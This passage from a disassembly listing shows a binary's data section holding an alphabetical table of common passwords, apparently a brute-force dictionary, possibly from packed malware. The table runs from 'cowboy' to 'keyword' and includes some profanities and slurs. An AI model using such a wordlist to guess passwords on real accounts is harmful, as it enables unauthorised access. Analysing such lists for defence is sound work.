.nsp0:0043A930o align 4 aCowboy db 'cowboy',0 ; DATA XREF: .nsp0:0043A934o align 4 aCrack db 'crack',0 ; DATA XREF: .nsp0:0043A938o align 4 aCrackpot db 'crackpot',0 ; DATA XREF: .nsp0:0043A93Co align 10h aCream db 'cream',0 ; DATA XREF: .nsp0:0043A940o align 4 aCreate db 'create',0 ; DATA XREF: .nsp0:0043A944o align 10h aCreation db 'creation',0 ; DATA XREF: .nsp0:0043A948o align 4 aCreature db 'creature',0 ; DATA XREF: .nsp0:0043A94Co align 4 aCredit db 'credit',0 ; DATA XREF: .nsp0:0043A950o align 10h aCreosote db 'creosote',0 ; DATA XREF: .nsp0:0043A954o align 4 aCretin db 'cretin',0 ; DATA XREF: .nsp0:0043A958o align 4 aCrime db 'crime',0 ; DATA XREF: .nsp0:0043A95Co align 4 aCriminal db 'criminal',0 ; DATA XREF: .nsp0:0043A960o align 4 aCristina db 'cristina',0 ; DATA XREF: .nsp0:0043A964o align 4 aCrystal db 'crystal',0 ; DATA XREF: .nsp0:0043A968o aCshrc db 'cshrc',0 ; DATA XREF: .nsp0:0043A96Co align 4 aCunt db 'cunt',0 ; DATA XREF: .nsp0:0043A970o align 4 aCustomer db 'customer',0 ; DATA XREF: .nsp0:0043A974o align 4 aCyber db 'cyber',0 ; DATA XREF: .nsp0:0043A978o align 10h aCyberpun db 'cyberpun',0 ; DATA XREF: .nsp0:0043A97Co align 4 aCyberspa db 'cyberspa',0 ; DATA XREF: .nsp0:0043A980o align 4 aCynthia db 'cynthia',0 ; DATA XREF: .nsp0:0043A984o aDaemon db 'daemon',0 ; DATA XREF: .nsp0:0043A988o align 4 aDaisy db 'daisy',0 ; DATA XREF: .nsp0:0043A98Co align 10h aDana db 'dana',0 ; DATA XREF: .nsp0:0043A990o align 4 aDancer db 'dancer',0 ; DATA XREF: .nsp0:0043A994o align 10h aDaniel db 'daniel',0 ; DATA XREF: .nsp0:0043A998o align 4 aDanielle db 'danielle',0 ; DATA XREF: .nsp0:0043A99Co align 4 aDanny db 'danny',0 ; DATA XREF: .nsp0:0043A9A0o align 4 aDapper db 'dapper',0 ; DATA XREF: .nsp0:0043A9A4o align 4 aDark db 'dark',0 ; DATA XREF: .nsp0:0043A9A8o align 4 aDarkaven db 'darkaven',0 ; DATA XREF: .nsp0:0043A9ACo align 4 aData db 'data',0 ; DATA XREF: .nsp0:0043A9B0o align 10h aDave db 'dave',0 ; DATA XREF: .nsp0:0043A9B4o align 4 aDawn db 'dawn',0 ; DATA XREF: .nsp0:0043A9B8o align 10h aDead db 'dead',0 ; DATA XREF: .nsp0:0043A9BCo align 4 aDeathsta db 'deathsta',0 ; DATA XREF: .nsp0:0043A9C0o align 4 aDebbie db 'debbie',0 ; DATA XREF: .nsp0:0043A9C4o align 4 aDeborah db 'deborah',0 ; DATA XREF: .nsp0:0043A9C8o aDebug db 'debug',0 ; DATA XREF: .nsp0:0043A9CCo align 4 aDecember db 'december',0 ; DATA XREF: .nsp0:0043A9D0o align 4 aDeck db 'deck',0 ; DATA XREF: .nsp0:0043A9D4o align 10h aDefault_0 db 'default',0 ; DATA XREF: .nsp0:0043A9D8o aDefault_1 db 'DEFAULT',0 ; DATA XREF: .nsp0:0043A9DCo aDefoe db 'defoe',0 ; DATA XREF: .nsp0:0043A9E0o align 4 aDelta db 'delta',0 ; DATA XREF: .nsp0:0043A9E4o align 10h aDeluge db 'deluge',0 ; DATA XREF: .nsp0:0043A9E8o align 4 aDemocrat db 'democrat',0 ; DATA XREF: .nsp0:0043A9ECo align 4 aDenise db 'denise',0 ; DATA XREF: .nsp0:0043A9F0o align 4 aDennis db 'dennis',0 ; DATA XREF: .nsp0:0043A9F4o align 4 aDesiree db 'desiree',0 ; DATA XREF: .nsp0:0043A9F8o aDesk db 'desk',0 ; DATA XREF: .nsp0:0043A9FCo align 4 aDesktop db 'desktop',0 ; DATA XREF: .nsp0:0043AA00o aDesperat db 'desperat',0 ; DATA XREF: .nsp0:0043AA04o align 4 aDevelop db 'develop',0 ; DATA XREF: .nsp0:0043AA08o aDevice db 'device',0 ; DATA XREF: .nsp0:0043AA0Co align 4 aDial db 'dial',0 ; DATA XREF: .nsp0:0043AA10o align 10h aDiamond db 'diamond',0 ; DATA XREF: .nsp0:0043AA14o aDiana db 'diana',0 ; DATA XREF: .nsp0:0043AA18o align 10h aDiane db 'diane',0 ; DATA XREF: .nsp0:0043AA1Co align 4 aDice db 'dice',0 ; DATA XREF: .nsp0:0043AA20o align 10h aDick db 'dick',0 ; DATA XREF: .nsp0:0043AA24o align 4 aDiehard db 'diehard',0 ; DATA XREF: .nsp0:0043AA28o aDiet db 'diet',0 ; DATA XREF: .nsp0:0043AA2Co align 4 aDieter db 'dieter',0 ; DATA XREF: .nsp0:0043AA30o align 10h aDigital db 'digital',0 ; DATA XREF: .nsp0:0043AA34o aDinosaur db 'dinosaur',0 ; DATA XREF: .nsp0:0043AA38o align 4 aDipshit db 'dipshit',0 ; DATA XREF: .nsp0:0043AA3Co aDirect db 'direct',0 ; DATA XREF: .nsp0:0043AA40o align 4 aDirector db 'director',0 align 10h aDirty db 'dirty',0 align 4 aDisc_0 db 'disc',0 align 10h aDiscipli db 'discipli',0 align 4 aDisclose db 'disclose',0 align 4 aDiscover db 'discover',0 align 4 aDisk_0 db 'disk',0 align 4 aDiskette db 'diskette',0 align 4 aDisney db 'disney',0 align 10h aDisplay db 'display',0 aDoctor db 'doctor',0 align 10h aDollar db 'dollar',0 align 4 aDong db 'dong',0 align 10h aDoom db 'doom',0 align 4 aDoom2 db 'doom2',0 align 10h aDoomii db 'doomii',0 align 4 aDoomsday db 'doomsday',0 align 4 aDoonesbu db 'doonesbu',0 align 10h aDoor db 'door',0 align 4 aDoors db 'doors',0 align 10h aDope db 'dope',0 align 4 aDownload db 'download',0 align 4 aDragon db 'dragon',0 align 4 aDrdoom db 'drdoom',0 align 4 aDrive db 'drive',0 ; DATA XREF: .nsp0:0043AAA4o align 4 aDrought db 'drought',0 ; DATA XREF: .nsp0:0043AAA8o aDuck db 'duck',0 ; DATA XREF: .nsp0:0043AAACo align 4 aDude db 'dude',0 ; DATA XREF: .nsp0:0043AAB0o align 4 aDuelist db 'duelist',0 ; DATA XREF: .nsp0:0043AAB4o aDuke db 'duke',0 ; DATA XREF: .nsp0:0043AAB8o align 4 aDulce db 'dulce',0 ; DATA XREF: .nsp0:0043AABCo align 4 aDuncan db 'duncan',0 ; DATA XREF: .nsp0:0043AAC0o align 4 aDungeon db 'dungeon',0 ; DATA XREF: .nsp0:0043AAC4o aDyke db 'dyke',0 ; DATA XREF: .nsp0:0043AAC8o align 4 aEager db 'eager',0 ; DATA XREF: .nsp0:0043AACCo align 4 aEagle db 'eagle',0 ; DATA XREF: .nsp0:0043AAD0o align 4 aEarth db 'earth',0 ; DATA XREF: .nsp0:0043AAD4o align 4 aEasier db 'easier',0 ; DATA XREF: .nsp0:0043AAD8o align 4 aEasy db 'easy',0 ; DATA XREF: .nsp0:0043AADCo align 4 aEatme db 'eatme',0 ; DATA XREF: .nsp0:0043AAE0o align 4 aEcho db 'echo',0 ; DATA XREF: .nsp0:0043AAE4o align 4 aEddie db 'eddie',0 ; DATA XREF: .nsp0:0043AAE8o align 4 aEdges db 'edges',0 ; DATA XREF: .nsp0:0043AAECo align 4 aEdinburg db 'edinburg',0 ; DATA XREF: .nsp0:0043AAF0o align 4 aEdit db 'edit',0 ; DATA XREF: .nsp0:0043AAF4o align 10h aEdition db 'edition',0 ; DATA XREF: .nsp0:0043AAF8o aEducation db 'education',0 ; DATA XREF: .nsp0:0043AAFCo align 4 aEducatio db 'educatio',0 ; DATA XREF: .nsp0:0043AB00o align 10h aEdwin db 'edwin',0 ; DATA XREF: .nsp0:0043AB04o align 4 aEdwina db 'edwina',0 ; DATA XREF: .nsp0:0043AB08o align 10h aEgghead db 'egghead',0 ; DATA XREF: .nsp0:0043AB0Co aEiderdow db 'eiderdow',0 ; DATA XREF: .nsp0:0043AB10o align 4 aEileen db 'eileen',0 ; DATA XREF: .nsp0:0043AB14o align 4 aEinsiein db 'einsiein',0 ; DATA XREF: .nsp0:0043AB18o align 4 aEinstein db 'einstein',0 ; DATA XREF: .nsp0:0043AB1Co align 4 aElaine db 'elaine',0 ; DATA XREF: .nsp0:0043AB20o align 4 aElanor db 'elanor',0 ; DATA XREF: .nsp0:0043AB24o align 4 aElectron db 'electron',0 ; DATA XREF: .nsp0:0043AB28o align 10h aElephant db 'elephant',0 ; DATA XREF: .nsp0:0043AB2Co align 4 aElizabet db 'elizabet',0 ; DATA XREF: .nsp0:0043AB30o align 4 aEllen db 'ellen',0 ; DATA XREF: .nsp0:0043AB34o align 10h aEmail_0 db 'email',0 ; DATA XREF: .nsp0:0043AB38o align 4 aEmerald db 'emerald',0 ; DATA XREF: .nsp0:0043AB3Co aEmily db 'emily',0 ; DATA XREF: .nsp0:0043AB40o align 4 aEmmanuel db 'emmanuel',0 ; DATA XREF: .nsp0:0043AB44o align 4 aEnemy db 'enemy',0 ; DATA XREF: .nsp0:0043AB48o align 4 aEngine db 'engine',0 ; DATA XREF: .nsp0:0043AB4Co align 4 aEngineer db 'engineer',0 ; DATA XREF: .nsp0:0043AB50o align 10h aEngland_0 db 'england',0 ; DATA XREF: .nsp0:0043AB54o aEnglish_0 db 'english',0 ; DATA XREF: .nsp0:0043AB58o aEnter db 'enter',0 ; DATA XREF: .nsp0:0043AB5Co align 4 aEnterpri db 'enterpri',0 ; DATA XREF: .nsp0:0043AB60o align 4 aEnzyme db 'enzyme',0 ; DATA XREF: .nsp0:0043AB64o align 4 aErenity db 'erenity',0 ; DATA XREF: .nsp0:0043AB68o aEric db 'eric',0 ; DATA XREF: .nsp0:0043AB6Co align 4 aErica db 'erica',0 ; DATA XREF: .nsp0:0043AB70o align 4 aErika db 'erika',0 ; DATA XREF: .nsp0:0043AB74o align 4 aErin db 'erin',0 ; DATA XREF: .nsp0:0043AB78o align 4 aErotic db 'erotic',0 ; DATA XREF: .nsp0:0043AB7Co align 4 aErsatz db 'ersatz',0 ; DATA XREF: .nsp0:0043AB80o align 4 aEstablis db 'establis',0 ; DATA XREF: .nsp0:0043AB84o align 10h aEstate db 'estate',0 ; DATA XREF: .nsp0:0043AB88o align 4 aEternity db 'eternity',0 ; DATA XREF: .nsp0:0043AB8Co align 4 aEuclid db 'euclid',0 ; DATA XREF: .nsp0:0043AB90o align 4 aEvelyn db 'evelyn',0 ; DATA XREF: .nsp0:0043AB94o align 4 aExpert db 'expert',0 ; DATA XREF: .nsp0:0043AB98o align 4 aExplode db 'explode',0 ; DATA XREF: .nsp0:0043AB9Co aExplore db 'explore',0 ; DATA XREF: .nsp0:0043ABA0o aExplorer db 'explorer',0 ; DATA XREF: .nsp0:0043ABA4o align 4 aExplosiv db 'explosiv',0 ; DATA XREF: .nsp0:0043ABA8o align 4 aExtensio db 'extensio',0 ; DATA XREF: .nsp0:0043ABACo align 10h aFairway db 'fairway',0 ; DATA XREF: .nsp0:0043ABB0o aFaith db 'faith',0 ; DATA XREF: .nsp0:0043ABB4o align 10h aFalcon db 'falcon',0 ; DATA XREF: .nsp0:0043ABB8o align 4 aFalse db 'false',0 ; DATA XREF: .nsp0:0043ABBCo align 10h aFamily db 'family',0 ; DATA XREF: .nsp0:0043ABC0o align 4 aFarad db 'farad',0 ; DATA XREF: .nsp0:0043ABC4o align 10h aFaraday db 'faraday',0 ; DATA XREF: .nsp0:0043ABC8o aFart db 'fart',0 ; DATA XREF: .nsp0:0043ABCCo align 10h aFast db 'fast',0 ; DATA XREF: .nsp0:0043ABD0o align 4 aFear db 'fear',0 ; DATA XREF: .nsp0:0043ABD4o align 10h aFeds db 'feds',0 ; DATA XREF: .nsp0:0043ABD8o align 4 aFelicia db 'felicia',0 ; DATA XREF: .nsp0:0043ABDCo aFender db 'fender',0 ; DATA XREF: .nsp0:0043ABE0o align 4 aFermat db 'fermat',0 ; DATA XREF: .nsp0:0043ABE4o align 10h aFerrari db 'ferrari',0 ; DATA XREF: .nsp0:0043ABE8o aFidelity db 'fidelity',0 ; DATA XREF: .nsp0:0043ABECo align 4 aField db 'field',0 ; DATA XREF: .nsp0:0043ABF0o align 4 aFight db 'fight',0 ; DATA XREF: .nsp0:0043ABF4o align 4 aFile_0 db 'file',0 ; DATA XREF: .nsp0:0043ABF8o align 4 aFinite db 'finite',0 ; DATA XREF: .nsp0:0043ABFCo align 4 aFire db 'fire',0 ; DATA XREF: .nsp0:0043AC00o align 4 aFirewall db 'firewall',0 ; DATA XREF: .nsp0:0043AC04o align 4 aFishers db 'fishers',0 ; DATA XREF: .nsp0:0043AC08o aFlakes db 'flakes',0 ; DATA XREF: .nsp0:0043AC0Co align 4 aFloat db 'float',0 ; DATA XREF: .nsp0:0043AC10o align 10h aFlorida db 'florida',0 ; DATA XREF: .nsp0:0043AC14o aFlower db 'flower',0 ; DATA XREF: .nsp0:0043AC18o align 10h aFlowers db 'flowers',0 ; DATA XREF: .nsp0:0043AC1Co aFood db 'food',0 ; DATA XREF: .nsp0:0043AC20o align 10h aFool db 'fool',0 ; DATA XREF: .nsp0:0043AC24o align 4 aFoolproo db 'foolproo',0 ; DATA XREF: .nsp0:0043AC28o align 4 aFootball db 'football',0 ; DATA XREF: .nsp0:0043AC2Co align 10h aForce db 'force',0 ; DATA XREF: .nsp0:0043AC30o align 4 aFord db 'ford',0 ; DATA XREF: .nsp0:0043AC34o align 10h aForesigh db 'foresigh',0 ; DATA XREF: .nsp0:0043AC38o align 4 aForever db 'forever',0 ; DATA XREF: .nsp0:0043AC3Co aForm db 'form',0 ; DATA XREF: .nsp0:0043AC40o align 4 aFormat db 'format',0 ; DATA XREF: .nsp0:0043AC44o align 4 aFornicat db 'fornicat',0 ; DATA XREF: .nsp0:0043AC48o align 10h aForsythe db 'forsythe',0 ; DATA XREF: .nsp0:0043AC4Co align 4 aFourier db 'fourier',0 ; DATA XREF: .nsp0:0043AC50o aFoxtrot db 'foxtrot',0 ; DATA XREF: .nsp0:0043AC54o aFrance_0 db 'france',0 ; DATA XREF: .nsp0:0043AC58o align 4 aFrank db 'frank',0 ; DATA XREF: .nsp0:0043AC5Co align 4 aFreak db 'freak',0 ; DATA XREF: .nsp0:0043AC60o align 4 aFred db 'fred',0 ; DATA XREF: .nsp0:0043AC64o align 4 aFree_0 db 'free',0 ; DATA XREF: .nsp0:0043AC68o align 4 aFreedom db 'freedom',0 ; DATA XREF: .nsp0:0043AC6Co aFrench_0 db 'french',0 ; DATA XREF: .nsp0:0043AC70o align 4 aFriday_0 db 'friday',0 ; DATA XREF: .nsp0:0043AC74o align 4 aFriend db 'friend',0 ; DATA XREF: .nsp0:0043AC78o align 4 aFriends db 'friends',0 ; DATA XREF: .nsp0:0043AC7Co aFrighten db 'frighten',0 ; DATA XREF: .nsp0:0043AC80o align 4 aFrog db 'frog',0 ; DATA XREF: .nsp0:0043AC84o align 10h aFryguy db 'fryguy',0 ; DATA XREF: .nsp0:0043AC88o align 4 aFuck db 'fuck',0 ; DATA XREF: .nsp0:0043AC8Co align 10h aFucker db 'fucker',0 align 4 aFucking db 'fucking',0 aFuckme db 'fuckme',0 align 4 aFuckyou db 'fuckyou',0 aFudge db 'fudge',0 align 4 aFunction db 'function',0 align 4 aFungible db 'fungible',0 align 10h aGabriel db 'gabriel',0 aGames db 'games',0 align 10h aGardner db 'gardner',0 aGarfield db 'garfield',0 align 4 aGateway db 'gateway',0 aGatherin db 'gatherin',0 align 4 aGatt db 'gatt',0 align 10h aGauss db 'gauss',0 align 4 aGeorge db 'george',0 align 10h aGerm db 'germ',0 align 4 aGertrude db 'gertrude',0 align 4 aGhost db 'ghost',0 ; DATA XREF: .nsp0:0043ACD8o align 4 aGibson db 'gibson',0 ; DATA XREF: .nsp0:0043ACDCo align 4 aGigabyte db 'gigabyte',0 ; DATA XREF: .nsp0:0043ACE0o align 10h aGina db 'gina',0 ; DATA XREF: .nsp0:0043ACE4o align 4 aGinger db 'ginger',0 ; DATA XREF: .nsp0:0043ACE8o align 10h aGirl db 'girl',0 ; DATA XREF: .nsp0:0043ACECo align 4 aGlacier db 'glacier',0 ; DATA XREF: .nsp0:0043ACF0o aGold db 'gold',0 ; DATA XREF: .nsp0:0043ACF4o align 4 aGolden db 'golden',0 ; DATA XREF: .nsp0:0043ACF8o align 10h aGolf db 'golf',0 ; DATA XREF: .nsp0:0043ACFCo align 4 aGolfer db 'golfer',0 ; DATA XREF: .nsp0:0043AD00o align 10h aGood db 'good',0 ; DATA XREF: .nsp0:0043AD04o align 4 aGorgeous db 'gorgeous',0 ; DATA XREF: .nsp0:0043AD08o align 4 aGorges db 'gorges',0 ; DATA XREF: .nsp0:0043AD0Co align 4 aGosling db 'gosling',0 ; DATA XREF: .nsp0:0043AD10o aGouge db 'gouge',0 ; DATA XREF: .nsp0:0043AD14o align 4 aGovermen db 'govermen',0 ; DATA XREF: .nsp0:0043AD18o align 4 aGrades db 'grades',0 ; DATA XREF: .nsp0:0043AD1Co align 10h aGraham db 'graham',0 ; DATA XREF: .nsp0:0043AD20o align 4 aGrahm db 'grahm',0 ; DATA XREF: .nsp0:0043AD24o align 10h aGrand db 'grand',0 ; DATA XREF: .nsp0:0043AD28o align 4 aGrant db 'grant',0 ; DATA XREF: .nsp0:0043AD2Co align 10h aGreat db 'great',0 ; DATA XREF: .nsp0:0043AD30o align 4 aGreen db 'green',0 ; DATA XREF: .nsp0:0043AD34o align 10h aGroup db 'group',0 ; DATA XREF: .nsp0:0043AD38o align 4 aGryphon db 'gryphon',0 ; DATA XREF: .nsp0:0043AD3Co aGuardian db 'guardian',0 ; DATA XREF: .nsp0:0043AD40o align 4 aGucci db 'gucci',0 ; DATA XREF: .nsp0:0043AD44o align 4 aGuess db 'guess',0 ; DATA XREF: .nsp0:0043AD48o align 4 aGuitar db 'guitar',0 ; DATA XREF: .nsp0:0043AD4Co align 4 aGumption db 'gumption',0 ; DATA XREF: .nsp0:0043AD50o align 10h aGuntis db 'guntis',0 ; DATA XREF: .nsp0:0043AD54o align 4 aHack db 'hack',0 ; DATA XREF: .nsp0:0043AD58o align 10h aHacked db 'hacked',0 ; DATA XREF: .nsp0:0043AD5Co align 4 aHagar db 'hagar',0 ; DATA XREF: .nsp0:0043AD60o align 10h aHair db 'hair',0 ; DATA XREF: .nsp0:0043AD64o align 4 aHallowee db 'hallowee',0 ; DATA XREF: .nsp0:0043AD68o align 4 aHamlet db 'hamlet',0 ; DATA XREF: .nsp0:0043AD6Co align 4 aHamster db 'hamster',0 ; DATA XREF: .nsp0:0043AD70o aHandel db 'handel',0 ; DATA XREF: .nsp0:0043AD74o align 4 aHandily db 'handily',0 ; DATA XREF: .nsp0:0043AD78o aHandjob db 'handjob',0 ; DATA XREF: .nsp0:0043AD7Co aHappenin db 'happenin',0 ; DATA XREF: .nsp0:0043AD80o align 4 aHard db 'hard',0 ; DATA XREF: .nsp0:0043AD84o align 10h aHardcore db 'hardcore',0 ; DATA XREF: .nsp0:0043AD88o align 4 aHarddriv db 'harddriv',0 ; DATA XREF: .nsp0:0043AD8Co align 4 aHarmony db 'harmony',0 ; DATA XREF: .nsp0:0043AD90o aHarold db 'harold',0 ; DATA XREF: .nsp0:0043AD94o align 4 aHarvey db 'harvey',0 ; DATA XREF: .nsp0:0043AD98o align 10h aHate db 'hate',0 ; DATA XREF: .nsp0:0043AD9Co align 4 aHaven db 'haven',0 ; DATA XREF: .nsp0:0043ADA0o align 10h aHawaii db 'hawaii',0 ; DATA XREF: .nsp0:0043ADA4o align 4 aHead db 'head',0 ; DATA XREF: .nsp0:0043ADA8o align 10h aHeadbang db 'headbang',0 ; DATA XREF: .nsp0:0043ADACo align 4 aHeat db 'heat',0 ; DATA XREF: .nsp0:0043ADB0o align 4 aHeathen db 'heathen',0 ; DATA XREF: .nsp0:0043ADB4o aHeather db 'heather',0 ; DATA XREF: .nsp0:0043ADB8o aHebrides db 'hebrides',0 ; DATA XREF: .nsp0:0043ADBCo align 10h aHeidi db 'heidi',0 ; DATA XREF: .nsp0:0043ADC0o align 4 aHeinlein db 'heinlein',0 ; DATA XREF: .nsp0:0043ADC4o align 4 aHell db 'hell',0 ; DATA XREF: .nsp0:0043ADC8o align 4 aHello db 'hello',0 ; DATA XREF: .nsp0:0043ADCCo align 4 aHelp db 'help',0 ; DATA XREF: .nsp0:0043ADD0o align 4 aHerb db 'herb',0 ; DATA XREF: .nsp0:0043ADD4o align 4 aHerbert db 'herbert',0 ; DATA XREF: .nsp0:0043ADD8o aHero db 'hero',0 ; DATA XREF: .nsp0:0043ADDCo align 4 aHeroin db 'heroin',0 ; DATA XREF: .nsp0:0043ADE0o align 4 aHewlett db 'hewlett',0 ; DATA XREF: .nsp0:0043ADE4o aHexadeci db 'hexadeci',0 ; DATA XREF: .nsp0:0043ADE8o align 10h aHiawatha db 'hiawatha',0 ; DATA XREF: .nsp0:0043ADECo align 4 aHibernia db 'hibernia',0 ; DATA XREF: .nsp0:0043ADF0o align 4 aHidden db 'hidden',0 ; DATA XREF: .nsp0:0043ADF4o align 10h aHigh db 'high',0 ; DATA XREF: .nsp0:0043ADF8o align 4 aHighland db 'highland',0 ; DATA XREF: .nsp0:0043ADFCo align 4 aHitler db 'hitler',0 ; DATA XREF: .nsp0:0043AE00o align 4 aHits db 'hits',0 ; DATA XREF: .nsp0:0043AE04o align 4 aHole db 'hole',0 ; DATA XREF: .nsp0:0043AE08o align 4 aHolly db 'holly',0 ; DATA XREF: .nsp0:0043AE0Co align 4 aHollywoo db 'hollywoo',0 ; DATA XREF: .nsp0:0043AE10o align 10h aHomepage db 'homepage',0 ; DATA XREF: .nsp0:0043AE14o align 4 aHomer db 'homer',0 ; DATA XREF: .nsp0:0043AE18o align 4 aHomework db 'homework',0 ; DATA XREF: .nsp0:0043AE1Co align 10h aHoney db 'honey',0 ; DATA XREF: .nsp0:0043AE20o align 4 aHooker db 'hooker',0 ; DATA XREF: .nsp0:0043AE24o align 10h aHooters db 'hooters',0 ; DATA XREF: .nsp0:0043AE28o aHorny db 'horny',0 ; DATA XREF: .nsp0:0043AE2Co align 10h aHorrible db 'horrible',0 ; DATA XREF: .nsp0:0043AE30o align 4 aHorror db 'horror',0 ; DATA XREF: .nsp0:0043AE34o align 4 aHorse db 'horse',0 ; DATA XREF: .nsp0:0043AE38o align 4 aHorus db 'horus',0 ; DATA XREF: .nsp0:0043AE3Co align 4 aHost db 'host',0 ; DATA XREF: .nsp0:0043AE40o align 4 aHotdog db 'hotdog',0 ; DATA XREF: .nsp0:0043AE44o align 4 aHotel db 'hotel',0 ; DATA XREF: .nsp0:0043AE48o align 4 aHttp_0 db 'http',0 ; DATA XREF: .nsp0:0043AE4Co align 4 aHunt db 'hunt',0 ; DATA XREF: .nsp0:0043AE50o align 4 aHunter db 'hunter',0 ; DATA XREF: .nsp0:0043AE54o align 4 aHutchins db 'hutchins',0 ; DATA XREF: .nsp0:0043AE58o align 10h aHydrogen db 'hydrogen',0 ; DATA XREF: .nsp0:0043AE5Co align 4 aHyper db 'hyper',0 ; DATA XREF: .nsp0:0043AE60o align 4 aHypertxt db 'hypertxt',0 ; DATA XREF: .nsp0:0043AE64o align 10h aIcecream db 'icecream',0 ; DATA XREF: .nsp0:0043AE68o align 4 aIllumina db 'illumina',0 ; DATA XREF: .nsp0:0043AE6Co align 4 aImage db 'image',0 ; DATA XREF: .nsp0:0043AE70o align 10h aImbrogli db 'imbrogli',0 ; DATA XREF: .nsp0:0043AE74o align 4 aImmortal db 'immortal',0 ; DATA XREF: .nsp0:0043AE78o align 4 aImperial db 'imperial',0 ; DATA XREF: .nsp0:0043AE7Co align 4 aInclude db 'include',0 ; DATA XREF: .nsp0:0043AE80o aIndia db 'india',0 ; DATA XREF: .nsp0:0043AE84o align 4 aIndian db 'indian',0 ; DATA XREF: .nsp0:0043AE88o align 4 aIndiana db 'indiana',0 ; DATA XREF: .nsp0:0043AE8Co aIndians db 'indians',0 ; DATA XREF: .nsp0:0043AE90o aIngres db 'ingres',0 ; DATA XREF: .nsp0:0043AE94o align 4 aIngress db 'ingress',0 ; DATA XREF: .nsp0:0043AE98o aIngrid db 'ingrid',0 ; DATA XREF: .nsp0:0043AE9Co align 4 aInna db 'inna',0 ; DATA XREF: .nsp0:0043AEA0o align 4 aInnocuou db 'innocuou',0 ; DATA XREF: .nsp0:0043AEA4o align 4 aInput db 'input',0 ; DATA XREF: .nsp0:0043AEA8o align 10h aInside db 'inside',0 ; DATA XREF: .nsp0:0043AEACo align 4 aInteger db 'integer',0 ; DATA XREF: .nsp0:0043AEB0o aInvent db 'invent',0 ; DATA XREF: .nsp0:0043AEB4o align 4 aIrene db 'irene',0 ; DATA XREF: .nsp0:0043AEB8o align 10h aIrishman db 'irishman',0 ; DATA XREF: .nsp0:0043AEBCo align 4 aIsis db 'isis',0 ; DATA XREF: .nsp0:0043AEC0o align 4 aJackie db 'jackie',0 ; DATA XREF: .nsp0:0043AEC4o align 4 aJail db 'jail',0 ; DATA XREF: .nsp0:0043AEC8o align 4 aJane db 'jane',0 ; DATA XREF: .nsp0:0043AECCo align 4 aJanet db 'janet',0 ; DATA XREF: .nsp0:0043AED0o align 4 aJanice db 'janice',0 ; DATA XREF: .nsp0:0043AED4o align 4 aJanie db 'janie',0 ; DATA XREF: .nsp0:0043AED8o align 4 aJapan db 'japan',0 ; DATA XREF: .nsp0:0043AEDCo align 4 aJasmin db 'jasmin',0 ; DATA XREF: .nsp0:0043AEE0o align 4 aJava db 'java',0 ; DATA XREF: .nsp0:0043AEE4o align 4 aJazz db 'jazz',0 ; DATA XREF: .nsp0:0043AEE8o align 4 aJean db 'jean',0 ; DATA XREF: .nsp0:0043AEECo align 4 aJeanne db 'jeanne',0 ; DATA XREF: .nsp0:0043AEF0o align 4 aJeff db 'jeff',0 ; DATA XREF: .nsp0:0043AEF4o align 4 aJenni db 'jenni',0 ; DATA XREF: .nsp0:0043AEF8o align 4 aJennifer db 'jennifer',0 ; DATA XREF: .nsp0:0043AEFCo align 10h aJenny db 'jenny',0 ; DATA XREF: .nsp0:0043AF00o align 4 aJerry db 'jerry',0 ; DATA XREF: .nsp0:0043AF04o align 10h aJerusale db 'jerusale',0 ; DATA XREF: .nsp0:0043AF08o align 4 aJessica db 'jessica',0 ; DATA XREF: .nsp0:0043AF0Co aJester db 'jester',0 ; DATA XREF: .nsp0:0043AF10o align 4 aJewelry db 'jewelry',0 ; DATA XREF: .nsp0:0043AF14o aJill db 'jill',0 ; DATA XREF: .nsp0:0043AF18o align 4 aJixian db 'jixian',0 ; DATA XREF: .nsp0:0043AF1Co align 4 aJoanne db 'joanne',0 ; DATA XREF: .nsp0:0043AF20o align 4 aJody db 'jody',0 ; DATA XREF: .nsp0:0043AF24o align 4 aJohn db 'john',0 ; DATA XREF: .nsp0:0043AF28o align 4 aJohndoe db 'johndoe',0 ; DATA XREF: .nsp0:0043AF2Co aJohnny db 'johnny',0 ; DATA XREF: .nsp0:0043AF30o align 4 aJoseph db 'joseph',0 ; DATA XREF: .nsp0:0043AF34o align 4 aJoshua db 'joshua',0 ; DATA XREF: .nsp0:0043AF38o align 4 aJournal db 'journal',0 ; DATA XREF: .nsp0:0043AF3Co aJoyce db 'joyce',0 ; DATA XREF: .nsp0:0043AF40o align 4 aJudith db 'judith',0 ; DATA XREF: .nsp0:0043AF44o align 4 aJudy db 'judy',0 ; DATA XREF: .nsp0:0043AF48o align 4 aJuggle db 'juggle',0 ; DATA XREF: .nsp0:0043AF4Co align 4 aJuicy db 'juicy',0 ; DATA XREF: .nsp0:0043AF50o align 4 aJulia db 'julia',0 ; DATA XREF: .nsp0:0043AF54o align 4 aJulie db 'julie',0 ; DATA XREF: .nsp0:0043AF58o align 4 aJuliet db 'juliet',0 ; DATA XREF: .nsp0:0043AF5Co align 4 aJune_0 db 'june',0 ; DATA XREF: .nsp0:0043AF60o align 4 aJupiter db 'jupiter',0 ; DATA XREF: .nsp0:0043AF64o aKaka db 'kaka',0 ; DATA XREF: .nsp0:0043AF68o align 4 aKaren db 'karen',0 ; DATA XREF: .nsp0:0043AF6Co align 4 aKarie db 'karie',0 ; DATA XREF: .nsp0:0043AF70o align 4 aKarina db 'karina',0 ; DATA XREF: .nsp0:0043AF74o align 4 aKatana db 'katana',0 ; DATA XREF: .nsp0:0043AF78o align 4 aKate db 'kate',0 ; DATA XREF: .nsp0:0043AF7Co align 4 aKathleen db 'kathleen',0 ; DATA XREF: .nsp0:0043AF80o align 10h aKathrine db 'kathrine',0 ; DATA XREF: .nsp0:0043AF84o align 4 aKathy db 'kathy',0 ; DATA XREF: .nsp0:0043AF88o align 4 aKatina db 'katina',0 ; DATA XREF: .nsp0:0043AF8Co align 4 aKatrina db 'katrina',0 ; DATA XREF: .nsp0:0043AF90o aKelly db 'kelly',0 ; DATA XREF: .nsp0:0043AF94o align 4 aKeri db 'keri',0 ; DATA XREF: .nsp0:0043AF98o align 4 aKermit db 'kermit',0 ; DATA XREF: .nsp0:0043AF9Co align 4 aKernel db 'kernel',0 ; DATA XREF: .nsp0:0043AFA0o align 4 aKerri db 'kerri',0 ; DATA XREF: .nsp0:0043AFA4o align 4 aKerrie db 'kerrie',0 ; DATA XREF: .nsp0:0043AFA8o align 4 aKerry db 'kerry',0 ; DATA XREF: .nsp0:0043AFACo align 4 aKevin db 'kevin',0 ; DATA XREF: .nsp0:0043AFB0o align 4 aKewl db 'kewl',0 ; DATA XREF: .nsp0:0043AFB4o align 4 aKeybord db 'keybord',0 ; DATA XREF: .nsp0:0043AFB8o aKeyin db 'keyin',0 ; DATA XREF: .nsp0:0043AFBCo align 4 aKeyword db 'keyword',0 ; DATA XREF: 